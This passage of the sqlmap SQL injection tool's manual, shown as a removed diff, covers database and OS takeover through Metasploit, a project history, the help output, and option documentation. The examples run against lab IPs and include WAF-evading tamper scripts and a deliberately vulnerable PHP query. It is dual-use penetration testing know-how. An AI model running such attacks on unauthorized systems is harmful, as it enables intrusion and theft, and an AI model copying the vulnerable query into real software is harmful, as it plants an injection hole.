-between the attacker machine and the database server underlying
-operating system. This channel can be an interactive command prompt, a
-Meterpreter session or a graphical user interface (VNC) session as per
-user's choice.
-sqlmap relies on Metasploit to create the shellcode and implements four
-different techniques to execute it on the database server. These
-techniques are:
-
-Database in-memory execution of the Metasploit's shellcode
-via sqlmap own user-defined function sys_bineval(). Supported on
-MySQL and PostgreSQL.
-Upload and execution of a Metasploit's stand-alone payload
-stager via sqlmap own user-defined function sys_exec() on
-MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
-Server.
-Execution of Metasploit's shellcode by performing a SMB
-reflection attack (
-MS08-068 ) with a UNC path request from the database server to
-the attacker's machine where the Metasploit smb_relay server
-exploit listens. Supported when running sqlmap with high privileges
-(uid=0) on Linux/Unix and the target DBMS runs as Administrator
-on Windows.
-Database in-memory execution of the Metasploit's shellcode by
-exploiting Microsoft SQL Server 2000 and 2005
-sp_replwritetovarbin stored procedure heap-based buffer
-overflow (
-MS09-004 ). sqlmap has its own exploit to trigger the
-vulnerability with automatic DEP memory protection bypass, but it relies
-on Metasploit to generate the shellcode to get executed upon successful
-exploitation.
-
-
-
-Support for database process' user privilege escalation via
-Metasploit's getsystem command which include, among others,
-the
-kitrap0d technique (
-MS10-015 ).
-
-Support to access (read/add/delete) Windows registry hives.
-
-
-
-
-
-
-
-
-
-
-April 10 ,
-Bernardo and Miroslav release sqlmap
-0.9 featuring a totally rewritten and powerful SQL injection
-detection engine, the possibility to connect directly to a database
-server, support for time-based blind SQL injection and error-based SQL
-injection, support for four new database management systems and much more.
-
-
-
-
-
-
-
-December ,
-Bernardo and Miroslav have enhanced sqlmap a
-lot during the whole year and prepare to release sqlmap 0.9
-within the first quarter of 2011.
-June 3 , Bernardo
-presents
-a talk titled Got database access? Own the network! at AthCon
-2010 in Athens (Greece).
-March 14 ,
-Bernardo and Miroslav release stable version of
-sqlmap 0.8 featuring many features. Amongst these, support to
-enumerate and dump all databases' tables containing user provided
-column(s), stabilization and enhancements to the takeover functionalities,
-updated integration with Metasploit 3.3.3 and a lot of minor features and
-bug fixes.
-March , sqlmap demo videos have been
-published .
-January , Bernardo is
-invited to present at
-AthCon conference in
-Greece on June 2010.
-
-
-
-
-
-
-
-December 18 , Miroslav Stampar replies to the call for
-developers. Along with Bernardo, he actively develops sqlmap from version
-0.8 release candidate 2 .
-
-December 12 , Bernardo writes to the mailing list a post
-titled
-sqlmap state of art - 3 years later highlighting the goals
-achieved during these first three years of the project and launches a call
-for developers.
-
-December 4 , sqlmap-devel mailing list has been merged into
-sqlmap-users
-mailing list .
-
-November 20 , Bernardo and Guido present again their
-research on stealth database server takeover at CONfidence 2009 in Warsaw,
-Poland.
-
-September 26 , sqlmap version 0.8 release candidate
-1 goes public on the
-subversion repository , with all the attack
-vectors unveiled at SOURCE Barcelona 2009 Conference. These include an
-enhanced version of the Microsoft SQL Server buffer overflow exploit to
-automatically bypass DEP memory protection, support to establish the
-out-of-band connection with the database server by executing in-memory
-the Metasploit shellcode via UDF sys_bineval() (anti-forensics
-technique), support to access the Windows registry hives and support to
-inject custom user-defined functions.
-
-September 21 , Bernardo and
-Guido Landi
-present
-their research (
-slides )
-at SOURCE Conference 2009 in Barcelona, Spain.
-
-August , Bernardo is accepted as a speaker at two others IT
-security conferences,
-SOURCE Barcelona 2009 and
-CONfidence 2009 Warsaw .
-This new research is titled Expanding the control over the operating
-system from the database .
-
-July 25 , stable version of sqlmap 0.7 is out!
-
-June 27 , Bernardo
-presents
-an updated version of his
-SQL injection: Not only AND 1=1 slides at
-2nd Digital Security Forum in
-Lisbon, Portugal.
-
-June 2 , sqlmap version 0.6.4 has made its way to
-the official Ubuntu repository too.
-
-May , Bernardo presents again his research on operating
-system takeover via SQL injection at
-OWASP AppSec Europe 2009 in Warsaw, Poland and at
-EUSecWest 2009 in London, UK.
-
-May 8 , sqlmap version 0.6.4 has been officially
-accepted in Debian repository. Details on
-this blog post .
-
-April 22 , sqlmap version 0.7 release candidate 1
-goes public, with all the attack vectors unveiled at Black Hat Europe 2009
-Conference.
-These include execution of arbitrary commands on the underlying operating
-system, full integration with Metasploit to establish an out-of-band
-TCP connection, first publicly available exploit for Microsoft Security
-Bulletin
-MS09-004 against Microsoft SQL Server 2000 and 2005 and others
-attacks to takeover the database server as a whole, not only the data from
-the database.
-
-April 16 , Bernardo
-presents his research (
-slides ,
-whitepaper ) at Black Hat Europe 2009 in Amsterdam, The Netherlands.
-The feedback from the audience is good and there has been some
-media coverage too.
-
-March 5 , Bernardo
-presents for the first time some of the sqlmap recent features and
-upcoming enhancements at an international event,
-Front Range OWASP Conference 2009 in Denver, USA. The presentation
-is titled SQL injection: Not only AND 1=1 .
-
-February 24 , Bernardo is accepted as a
-speaker at
-Black Hat Europe 2009 with a presentation titled Advanced SQL
-injection exploitation to operating system full control .
-
-February 3 , sqlmap 0.6.4 is the last point release
-for 0.6: taking advantage of the stacked queries test implemented in 0.6.3,
-sqlmap can now be used to execute any arbitrary SQL statement, not only
-SELECT anymore. Also, many features have been stabilized, tweaked
-and improved in terms of speed in this release.
-
-January 9 , Bernardo
-presents SQL injection exploitation internals at a
-private event in London, UK.
-
-
-
-
-
-
-
-December 18 , sqlmap 0.6.3 is released featuring
-support to retrieve targets from Burp and WebScarab proxies log files,
-support to test for stacked queries ant time-based blind SQL injection,
-rough fingerprint of the web server and web application technologies in
-use and more options to customize the HTTP requests and enumerate more
-information from the database.
-
-November 2 , sqlmap version 0.6.2 is a "bug fixes"
-release only.
-
-October 20 , sqlmap first point release, 0.6.1 , goes
-public. This includes minor bug fixes and the first contact between the
-tool and
-Metasploit :
-an auxiliary module to launch sqlmap from within Metasploit Framework.
-The
-subversion development repository goes public again.
-
-September 1 , nearly one year after the previous release,
-sqlmap 0.6 comes to life featuring a complete code
-refactoring, support to execute arbitrary SQL SELECT statements,
-more options to enumerate and dump specific information are added, brand
-new installation packages for Debian, Red Hat, Windows and much more.
-
-August , two public
-mailing lists are created on SourceForge.
-
-January , sqlmap subversion development repository is moved
-away from SourceForge and goes private for a while.
-
-
-
-
-
-
-
-November 4 , release 0.5 marks the end of the OWASP
-Spring of Code 2007 contest participation. Bernardo has
-accomplished all the propsed objects which include also initial
-support for Oracle, enhanced support for UNION query SQL injection and
-support to test and exploit SQL injections in HTTP Cookie and User-Agent
-headers.
-
-June 15 , Bernardo releases version 0.4 as a
-result of the first OWASP Spring of Code 2007 milestone. This release
-features, amongst others, improvements to the DBMS fingerprint engine,
-support to calculate the estimated time of arrival, options to enumerate
-specific data from the database server and brand new logging system.
-
-April , even though sqlmap was not and is not
-an OWASP project, it gets
-accepted , amongst many other open source projects to OWASP Spring
-of Code 2007.
-
-March 30 , Bernardo applies to OWASP
-Spring of Code 2007 .
-
-January 20 , sqlmap version 0.3 is released,
-featuring initial support for Microsoft SQL Server, support to test
-and exploit UNION query SQL injections and injection points in POST
-parameters.
-
-
-
-
-
-
-
-December 13 , Bernardo releases version 0.2 with
-major enhancements to the DBMS fingerprint functionalities and replacement
-of the old inference algorithm with the bisection algorithm.
-
-September , Daniele leaves the project,
-Bernardo Damele A. G.
-takes it over.
-
-August , Daniele adds initial support for PostgreSQL and releases
-version 0.1 .
-
-July 25 ,
-Daniele Bellucci
-registers the sqlmap project on SourceForge and develops it on the
-SourceForge subversion repository . The skeleton is implemented and
-limited support for MySQL added.
-
-
-
-
-
-
-sqlmap can be downloaded from its
-SourceForge File List page .
-It is available in two formats:
-
-
-
-
-You can also checkout the latest development version from the
-git
-repository:
-
-
-
-$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
-
-
-
-You can update it at any time to the latest development version by running:
-
-
-
-$ python sqlmap.py --update
-
-
-
-Or:
-
-
-
-$ git pull
-
-
-
-
-This is strongly recommended before reporting any bug to the
-mailing list .
-
-
-
-
-
-
-
-$ python sqlmap.py -h
-
- sqlmap/1.0 - automatic SQL injection and database takeover tool
- http://www.sqlmap.org
-
-Usage: python sqlmap.py [options]
-
-Options:
- --version show program's version number and exit
- -h, --help show this help message and exit
- -v VERBOSE Verbosity level: 0-6 (default 1)
-
- Target:
- At least one of these options has to be specified to set the source to
- get target urls from.
-
- -d DIRECT Direct connection to the database
- -u URL, --url=URL Target url
- -l LIST Parse targets from Burp or WebScarab proxy logs
- -r REQUESTFILE Load HTTP request from a file
- -g GOOGLEDORK Process Google dork results as target urls
- -c CONFIGFILE Load options from a configuration INI file
-
- Request:
- These options can be used to specify how to connect to the target url.
-
- --data=DATA Data string to be sent through POST
- --cookie=COOKIE HTTP Cookie header
- --cookie-urlencode URL Encode generated cookie injections
- --drop-set-cookie Ignore Set-Cookie header from response
- --user-agent=AGENT HTTP User-Agent header
- --random-agent Use randomly selected HTTP User-Agent header
- --referer=REFERER HTTP Referer header
- --headers=HEADERS Extra HTTP headers newline separated
- --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
- --auth-cred=ACRED HTTP authentication credentials (name:password)
- --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
- --proxy=PROXY Use a HTTP proxy to connect to the target url
- --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
- --ignore-proxy Ignore system default HTTP proxy
- --delay=DELAY Delay in seconds between each HTTP request
- --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
- --retries=RETRIES Retries when the connection timeouts (default 3)
- --scope=SCOPE Regexp to filter targets from provided proxy log
- --safe-url=SAFURL Url address to visit frequently during testing
- --safe-freq=SAFREQ Test requests between two visits to a given safe url
-
- Optimization:
- These options can be used to optimize the performance of sqlmap.
-
- -o Turn on all optimization switches
- --predict-output Predict common queries output
- --keep-alive Use persistent HTTP(s) connections
- --null-connection Retrieve page length without actual HTTP response body
- --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
-
- Injection:
- These options can be used to specify which parameters to test for,
- provide custom injection payloads and optional tampering scripts.
-
- -p TESTPARAMETER Testable parameter(s)
- --dbms=DBMS Force back-end DBMS to this value
- --os=OS Force back-end DBMS operating system to this value
- --prefix=PREFIX Injection payload prefix string
- --suffix=SUFFIX Injection payload suffix string
- --tamper=TAMPER Use given script(s) for tampering injection data
-
- Detection:
- These options can be used to specify how to parse and compare page
- content from HTTP responses when using blind SQL injection technique.
-
- --level=LEVEL Level of tests to perform (1-5, default 1)
- --risk=RISK Risk of tests to perform (0-3, default 1)
- --string=STRING String to match in page when the query is valid
- --regexp=REGEXP Regexp to match in page when the query is valid
- --text-only Compare pages based only on the textual content
-
- Techniques:
- These options can be used to tweak testing of specific SQL injection
- techniques.
-
- --technique=TECH SQL injection techniques to test for (default BEUST)
- --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
- --union-cols=UCOLS Range of columns to test for UNION query SQL injection
- --union-char=UCHAR Character to use for bruteforcing number of columns
-
- Fingerprint:
- -f, --fingerprint Perform an extensive DBMS version fingerprint
-
- Enumeration:
- These options can be used to enumerate the back-end database
- management system information, structure and data contained in the
- tables. Moreover you can run your own SQL statements.
-
- -b, --banner Retrieve DBMS banner
- --current-user Retrieve DBMS current user
- --current-db Retrieve DBMS current database
- --is-dba Detect if the DBMS current user is DBA
- --users Enumerate DBMS users
- --passwords Enumerate DBMS users password hashes
- --privileges Enumerate DBMS users privileges
- --roles Enumerate DBMS users roles
- --dbs Enumerate DBMS databases
- --tables Enumerate DBMS database tables
- --columns Enumerate DBMS database table columns
- --schema Enumerate DBMS schema
- --count Retrieve number of entries for table(s)
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- --search Search column(s), table(s) and/or database name(s)
- -D DB DBMS database to enumerate
- -T TBL DBMS database table to enumerate
- -C COL DBMS database table column to enumerate
- -U USER DBMS user to enumerate
- --exclude-sysdbs Exclude DBMS system databases when enumerating tables
- --start=LIMITSTART First query output entry to retrieve
- --stop=LIMITSTOP Last query output entry to retrieve
- --first=FIRSTCHAR First query output word character to retrieve
- --last=LASTCHAR Last query output word character to retrieve
- --sql-query=QUERY SQL statement to be executed
- --sql-shell Prompt for an interactive SQL shell
-
- Brute force:
- These options can be used to run brute force checks.
-
- --common-tables Check existence of common tables
- --common-columns Check existence of common columns
-
- User-defined function injection:
- These options can be used to create custom user-defined functions.
-
- --udf-inject Inject custom user-defined functions
- --shared-lib=SHLIB Local path of the shared library
-
- File system access:
- These options can be used to access the back-end database management
- system underlying file system.
-
- --file-read=RFILE Read a file from the back-end DBMS file system
- --file-write=WFILE Write a local file on the back-end DBMS file system
- --file-dest=DFILE Back-end DBMS absolute filepath to write to
-
- Operating system access:
- These options can be used to access the back-end database management
- system underlying operating system.
-
- --os-cmd=OSCMD Execute an operating system command
- --os-shell Prompt for an interactive operating system shell
- --os-pwn Prompt for an out-of-band shell, meterpreter or VNC
- --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
- --os-bof Stored procedure buffer overflow exploitation
- --priv-esc Database process' user privilege escalation
- --msf-path=MSFPATH Local path where Metasploit Framework is installed
- --tmp-path=TMPPATH Remote absolute path of temporary files directory
-
- Windows registry access:
- These options can be used to access the back-end database management
- system Windows registry.
-
- --reg-read Read a Windows registry key value
- --reg-add Write a Windows registry key value data
- --reg-del Delete a Windows registry key value
- --reg-key=REGKEY Windows registry key
- --reg-value=REGVAL Windows registry key value
- --reg-data=REGDATA Windows registry key value data
- --reg-type=REGTYPE Windows registry key value type
-
- General:
- These options can be used to set some general working parameters.
-
- -t TRAFFICFILE Log all HTTP traffic into a textual file
- -s SESSIONFILE Save and resume all data retrieved on a session file
- --flush-session Flush session file for current target
- --fresh-queries Ignores query results stored in session file
- --eta Display for each output the estimated time of arrival
- --update Update sqlmap
- --save Save options on a configuration INI file
- --batch Never ask for user input, use the default behaviour
-
- Miscellaneous:
- --beep Alert when sql injection found
- --check-payload IDS detection testing of injection payloads
- --cleanup Clean up the DBMS by sqlmap specific UDF and tables
- --forms Parse and test forms on target url
- --gpage=GOOGLEPAGE Use Google dork results from specified page number
- --mobile Imitate smartphone through HTTP User-Agent header
- --page-rank Display page rank (PR) for Google dork results
- --parse-errors Parse DBMS error messages from response pages
- --replicate Replicate dumped data into a sqlite3 database
- --tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address
- --wizard Simple wizard interface for beginner users
-
-
-
-
-
-
-
-Switch: -v
-
-This switch can be used to set the verbosity level of output messages.
-There exist seven levels of verbosity.
-The default level is 1 in which information, warning, error and
-critical messages and Python tracebacks (if any occur) will be displayed.
-
-
-0 : Show only Python tracebacks, error and critical messages.
-1 : Show also information and warning messages.
-2 : Show also debug messages.
-3 : Show also payloads injected.
-4 : Show also HTTP requests.
-5 : Show also HTTP responses' headers.
-6 : Show also HTTP responses' page content.
-
-
-
-A reasonable level of verbosity to further understand what sqlmap does
-under the hood is level 2 , primarily for the detection phase and
-the take-over functionalities. Whereas if you want to see the SQL payloads
-the tools sends, level 3 is your best choice.
-In order to further debug potential bugs or unexpected behaviours, we
-recommend you to set the verbosity to level 4 or above. This
-level is recommended to be used when you feed the developers with a bug
-report too.
-
-
-
-
-At least one of these options has to be provided.
-
-Target URL
-
-Switch: -u or --url
-
-Run sqlmap against a single target URL. This switch requires an argument
-which is the target URL in the form http(s)://targeturl[:port]/[...].
-
-Parse targets from Burp or WebScarab proxy logs
-
-Switch: -l
-
-Rather than providing a single target URL, it is possible to test and
-inject against HTTP requests proxied through
-Burp proxy or
-WebScarab proxy This switch requires an argument which is the
-proxy's HTTP requests log file.
-
-Load HTTP request from a file
-
-Switch: -r
-
-One of the possibilities of sqlmap is loading of complete HTTP request
-from a textual file. That way you can skip usage of bunch of other
-options (e.g. setting of cookies, POSTed data, etc).
-
-Sample content of a HTTP request file provided as argument to this switch:
-
-
-
-POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 192.168.136.131
-User-Agent: Mozilla/4.0
-
-id=1
-
-
-
-
-Process Google dork results as target addresses
-
-Switch: -g
-
-It is also possible to test and inject on GET parameters on the
-results of your Google dork.
-
-This option makes sqlmap negotiate with the search engine its session
-cookie to be able to perform a search, then sqlmap will retrieve Google
-first 100 results for the Google dork expression with GET
-parameters asking you if you want to test and inject on each possible
-affected URL.
-
-Load options from a configuration INI file
-
-Switch: -c
-
-It is possible to pass user's options from a configuration INI file, an
-example is sqlmap.conf.
-
-Note that if you also provide other options from command line, those are
-evaluated when running sqlmap and overwrite those provided in the
-configuration file.
-
-
-
-
-These options can be used to specify how to connect to the target url.
-
-HTTP data
-
-Option: --data
-
-By default the HTTP method used to perform HTTP requests is GET,
-but you can implicitly change it to POST by providing the data to
-be sent in the POST requests. Such data, being those parameters,
-are tested for SQL injection as well as any provided GET
-parameters.
-
-
-HTTP Cookie header
-
-Switches: --cookie, --drop-set-cookie
-and --cookie-urlencode
-
-This feature can be useful in two ways:
-
-
-The web application requires authentication based upon cookies and
-you have such data.
-You want to detect and exploit SQL injection on such header values.
-
-
-
-Either reason brings you to need to send cookies with sqlmap requests, the
-steps to go through are the following:
-
-
-Login to the application with your favourite browser.
-Get the HTTP Cookie from the browser's preferences or from the HTTP
-proxy screen and copy to the clipboard.
-Go back to your shell and run sqlmap by pasting your clipboard as
-the argument of the --cookie switch.
-
-
-
-Note that the HTTP Cookie header values are usually separated by
-a ; character, not by an &. sqlmap can
-recognize these as separate sets of parameter=value too, as well
-as GET and POST parameters.
-
-If at any time during the communication, the web application responds with
-Set-Cookie headers, sqlmap will automatically use its value in
-all further HTTP requests as the Cookie header. sqlmap will also
-automatically test those values for SQL injection. This can be avoided by
-providing the switch --drop-set-cookie - sqlmap will
-ignore any coming Set-Cookie header.
-
-Vice versa, if you provide a HTTP Cookie header with
---cookie switch and the target URL sends an HTTP
-Set-Cookie header at any time, sqlmap will ask you which set of
-cookies to use for the following HTTP requests.
-
-sqlmap by default does not URL-encode generated cookie payloads,
-but you can force it by using the --cookie-urlencode
-switch. Cookie content encoding is not declared by HTTP protocol standard
-in any way, so it is solely the matter of web application's behaviour.
-
-Note that also the HTTP Cookie header is tested against SQL
-injection if the --level is set to 2 or above.
-Read below for details.
-
-
-HTTP User-Agent header
-
-Switches: --user-agent and --random-agent
-
-By default sqlmap performs HTTP requests with the following User-Agent
-header value:
-
-
-
-sqlmap/0.9 (http://www.sqlmap.org)
-
-
-
-
-However, it is possible to fake it with the --user-agent
-switch by providing custom User-Agent as the switch argument.
-
-Moreover, by providing the --random-agent switch, sqlmap
-will randomly select a User-Agent from the ./txt/user-agents.txt
-textual file and use it for all HTTP requests within the session.
-
-Some sites perform a server-side check on the HTTP User-Agent
-header value and fail the HTTP response if a valid User-Agent is
-not provided, its value is not expected or is blacklisted by a web
-application firewall or similar intrusion prevention system. In this case
-sqlmap will show you a message as follows:
-
-
-
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
-force the HTTP User-Agent header with option --user-agent or --random-agent
-
-
-
-
-Note that also the HTTP User-Agent header is tested against SQL
-injection if the --level is set to 3 or above.
-Read below for details.
-
-
-HTTP Referer header
-
-Switch: --referer
-
-It is possible to fake the HTTP Referer header value. By default
-no HTTP Referer header is sent in HTTP requests if not
-explicitly set.
-
-Note that also the HTTP Referer header is tested against SQL
-injection if the --level is set to 3 or above.
-Read below for details.
-
-
-Extra HTTP headers
-
-Switch: --headers
-
-It is possible to provide extra HTTP headers by setting the
---headers switch. Each header must be separated by a
-newline and it is much easier to provide them from the configuration INI
-file. Have a look at the sample sqlmap.conf file for an example.
-
-
-HTTP protocol authentication
-
-Switches: --auth-type and --auth-cred
-
-These options can be used to specify which HTTP protocol authentication
-the web server implements and the valid credentials to be used to perform
-all HTTP requests to the target application.
-The three supported HTTP protocol authentication mechanisms are:
-
-
-
-While the credentials' syntax is username:password.
-
-Example of valid syntax:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
- --auth-type Basic --auth-cred "testuser:testpass"
-
-
-
-
-
-HTTP protocol certificate authentication
-
-Switch: --auth-cert
-
-This switch should be used in cases when the web server requires proper
-client-side certificate for authentication. Supplied values should be in
-the form: key_file,cert_file, where key_file should be
-the name of a PEM formatted file that contains your private key, while
-cert_file should be the name for a PEM formatted certificate
-chain file.
-
-
-HTTP(S) proxy
-
-Switches: --proxy, --proxy-cred,
---ignore-proxy and --tor
-
-It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S)
-requests to the target URL. The syntax of HTTP(S) proxy value is
-http://url:port.
-
-If the HTTP(S) proxy requires authentication, you can provide the
-credentials in the format username:password to the
---proxy-cred switch.
-
-If, for any reason, you need to stay anonymous, instead of passing by a
-single predefined HTTP(S) proxy server, you can configure a
-Tor client together with
-Privoxy (or similar) on
-your machine as explained on the Tor client guide and use the Privoxy
-daemon, by default listening on 127.0.0.1:8118, as the sqlmap
-proxy by simply providing the tool with the --tor
-switch instead of --proxy.
-
-The switch --ignore-proxy should be used when you want
-to run sqlmap against a target part of a local area network by ignoring
-the system-wide set HTTP(S) proxy server setting.
-
-
-Delay between each HTTP request
-
-Switch: --delay
-
-It is possible to specify a number of seconds to hold between each HTTP(S)
-request. The valid value is a float, for instance 0.5 means half
-a second.
-By default, no delay is set.
-
-
-Seconds to wait before timeout connection
-
-Switch: --timeout
-
-It is possible to specify a number of seconds to wait before considering
-the HTTP(S) request timed out. The valid value is a float, for instance
-10.5 means ten seconds and a half.
-By default 30 seconds are set.
-
-
-Maximum number of retries when the HTTP connection timeouts
-
-Switch: --retries
-
-It is possible to specify the maximum number of retries when the HTTP(S)
-connection timeouts. By default it retries up to three times .
-
-
-Filtering targets from provided proxy log using regular expression
-
-Switch: --scope
-
-Rather than using all hosts parsed from provided logs with switch
--l, you can specify valid Python regular expression to be used
-for filtering desired ones.
-Example of valid syntax:
-
-
-
-$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
-
-
-
-
-
-Avoid your session to be destroyed after too many unsuccessful requests
-
-Switches: --safe-url and --safe-freq
-
-Sometimes web applications or inspection technology in between destroys
-the session if a certain number of unsuccessful requests is performed.
-This might occur during the detection phase of sqlmap or when it exploits
-any of the blind SQL injection types. Reason why is that the SQL payload
-does not necessarily returns output and might therefore raise a signal to
-either the application session management or the inspection technology.
-
-To bypass this limitation set by the target, you can provide two switches:
-
-
---safe-url: Url address to visit frequently during
-testing.
---safe-freq: Test requests between two visits to a
-given safe url.
-
-
-
-This way, sqlmap will visit every a predefined number of requests a
-certain safe URL without performing any kind of injection against
-it.
-
-
-
-
-These switches can be used to optimize the performance of sqlmap.
-
-
-Bundle optimization
-
-Switch: -o
-
-This switch is an alias that implicitly sets the following switches:
-
-
---keep-alive
---null-connection
---threads 3 if not set to a higher value.
-
-
-
-Read below for details about each switch.
-
-
-Output prediction
-
-Switch: --predict-output
-
-This switch is used in inference algorithm for sequential statistical
-prediction of characters of value being retrieved. Statistical table with
-the most promising character values is being built based on items given in
-txt/common-outputs.txt combined with the knowledge of current
-enumeration used. In case that the value can be found among the common
-output values, as the process progresses, subsequent character tables are
-being narrowed more and more. If used in combination with retrieval of
-common DBMS entities, as with system table names and privileges, speed up
-is significant. Of course, you can edit the common outputs file according
-to your needs if, for instance, you notice common patterns in database
-table names or similar.
-
-Note that this switch is not compatible with --threads
-switch.
-
-
-HTTP Keep-Alive
-
-Switch: --keep-alive
-
-This switch instructs sqlmap to use persistent HTTP(s) connections.
-
-Note that this switch is incompatible with --proxy
-switch.
-
-
-HTTP NULL connection
-
-Switch: --null-connection
-
-There are special HTTP request types which can be used to retrieve
-HTTP response's size without getting the HTTP body. This knowledge can be
-used in blind injection technique to distinguish True from
-False responses. When this switch is provided, sqlmap will try to
-test and exploit two different NULL connection techniques:
-Range and HEAD.
-If any of these is supported by the target web server, speed up will come
-from the obvious saving of used bandwidth.
-
-These techniques are detailed in the white paper
-Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth) .
-
-Note that this switch is incompatible with --text-only
-switch.
-
-
-Concurrent HTTP(S) requests
-
-Switch: --threads
-
-It is possible to specify the maximum number of concurrent HTTP(S)
-requests that sqlmap is allowed to do.
-This feature relies on the
-multi-threading concept and inherits both its pro and its cons.
-
-This features applies to the brute-force switches and when the data
-fetching is done through any of the blind SQL injection techniques.
-For the latter case, sqlmap first calculates the length of the query
-output in a single thread, then starts the multi-threading. Each thread is
-assigned to retrieve one character of the query output. The thread ends
-when that character is retrieved - it takes up to 7 HTTP(S) requests with
-the bisection algorithm implemented in sqlmap.
-
-The maximum number of concurrent requests is set to 10 for
-performance and site reliability reasons.
-
-Note that this switch is not compatible with
---predict-output switch.
-
-
-
-
-These options can be used to specify which parameters to test for, provide
-custom injection payloads and optional tampering scripts.
-
-Testable parameter(s)
-
-Switch: -p
-
-By default sqlmap tests all GET parameters and POST
-parameters. When the value of --level is >= 2
-it tests also HTTP Cookie header values. When this value is >=
-3 it tests also HTTP User-Agent and HTTP Referer
-header value for SQL injections.
-It is however possible to manually specify a comma-separated list of
-parameter(s) that you want sqlmap to test. This will bypass the dependence
-on the value of --level too.
-
-For instance, to test for GET parameter id and for HTTP
-User-Agent only, provide -p id,user-agent.
-
-
-URI injection point
-
-There are special cases when injection point is within the URI itself.
-sqlmap does not perform any automatic test against URI paths, unless
-manually pointed to.
-You have to specify these injection points in the command line by
-appending an asterisk (*) after each URI point that you want
-sqlmap to test for and exploit a SQL injection.
-
-This is particularly useful when, for instance, Apache web server's
-mod_rewrite module is in use or other similar technologies.
-
-An example of valid command line would be:
-
-
-
-$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
-
-
-
-
-
-Force the database management system name
-
-Switch: --dbms
-
-By default sqlmap automatically detects the web application's back-end
-database management system.
-As of version 0.9 , sqlmap fully supports the following database
-management systems:
-
-
-MySQL
-Oracle
-PostgreSQL
-Microsoft SQL Server
-Microsoft Access
-SQLite
-Firebird
-Sybase
-SAP MaxDB
-
-
-
-If for any reason sqlmap fails to detect the back-end DBMS once a SQL
-injection has been identified or if you want to avoid an active fingeprint,
-you can provide the name of the back-end DBMS yourself (e.g. postgresql).
-For MySQL and Microsoft SQL Server provide them respectively in the form
-MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for
-instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
-
-In case you provide --fingerprint together with
---dbms, sqlmap will only perform the extensive
-fingerprint for the specified database management system only, read below
-for further details.
-
-Note that this option is not mandatory and it is strongly
-recommended to use it only if you are absolutely sure about the
-back-end database management system. If you do not know it, let sqlmap
-automatically fingerprint it for you.
-
-
-Force the database management system operating system name
-
-Switch: --os
-
-By default sqlmap automatically detects the web application's back-end
-database management system underlying operating system when this
-information is a dependence of any other provided switch.
-At the moment the fully supported operating systems are two:
-
-
-
-
-It is possible to force the operating system name if you already know it
-so that sqlmap will avoid doing it itself.
-
-Note that this option is not mandatory and it is strongly
-recommended to use it only if you are absolutely sure about the
-back-end database management system underlying operating system. If you do
-not know it, let sqlmap automatically identify it for you.
-
-
-Custom injection payload
-
-Switches: --prefix and --suffix
-
-In some circumstances the vulnerable parameter is exploitable only if the
-user provides a specific suffix to be appended to the injection payload.
-Another scenario where these options come handy presents itself when the
-user already knows that query syntax and want to detect and exploit the
-SQL injection by directly providing a injection payload prefix and suffix.
-
-Example of vulnerable source code:
-
-
-
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
-
-
-
-
-To detect and exploit this SQL injection, you can either let sqlmap detect
-the boundaries (as in combination of SQL payload prefix and
-suffix) for you during the detection phase, or provide them on your own.
-For example:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
- -p id --prefix "')" --suffix "AND ('abc'='abc"
-[...]
-
-
-
-
-This will result in all sqlmap requests to end up in a query as follows:
-
-
-
-$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
-
-
-
-
-Which makes the query syntactically correct.
-
-In this simple example, sqlmap could detect the SQL injection and exploit
-it without need to provide custom boundaries, but sometimes in real world
-application it is necessary to provide it when the injection point is
-within nested JOIN queries for instance.
-
-
-Tamper injection data
-
-Switch: --tamper
-
-sqlmap itself does no obfuscation of the payload sent, except for strings
-between single quotes replaced by their CHAR()-alike
-representation.
-
-This switch can be very useful and powerful in situations where there is
-a weak input validation mechanism between you and the back-end database
-management system. This mechanism usually is a self-developed input
-validation routine called by the application source code, an expensive
-enterprise-grade IPS appliance or a web application firewall (WAF). All
-buzzwords to define the same concept, implemented in a different way and
-costing lots of money, usually.
-
-To take advantage of this switch, provide sqlmap with a comma-separated
-list of tamper scripts and this will process the payload and return it
-transformed. You can define your own tamper scripts, use sqlmap ones from
-the tamper/ folder or edit them as long as you concatenate them
-comma-separated as the argument of --tamper switch.
-
-The format of a valid tamper script is as follows:
-
-
-
-# Needed imports
-from lib.core.enums import PRIORITY
-
-# Define which is the order of application of tamper scripts against the payload
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload):
- '''
- Description of your tamper script
- '''
-
- retVal = payload
-
- # your code to tamper the original payload
-
- # return the tampered payload
- return retVal
-
-
-
-
-You can check valid and usable tamper scripts in the tamper/
-directory.
-
-Example against a MySQL target assuming that > character,
-spaces and capital SELECT string are banned:
-
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
- tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
-
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [INFO] loading tamper script 'between'
-[hh:mm:03] [INFO] loading tamper script 'randomcase'
-[hh:mm:03] [INFO] loading tamper script 'space2comment'
-[...]
-[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
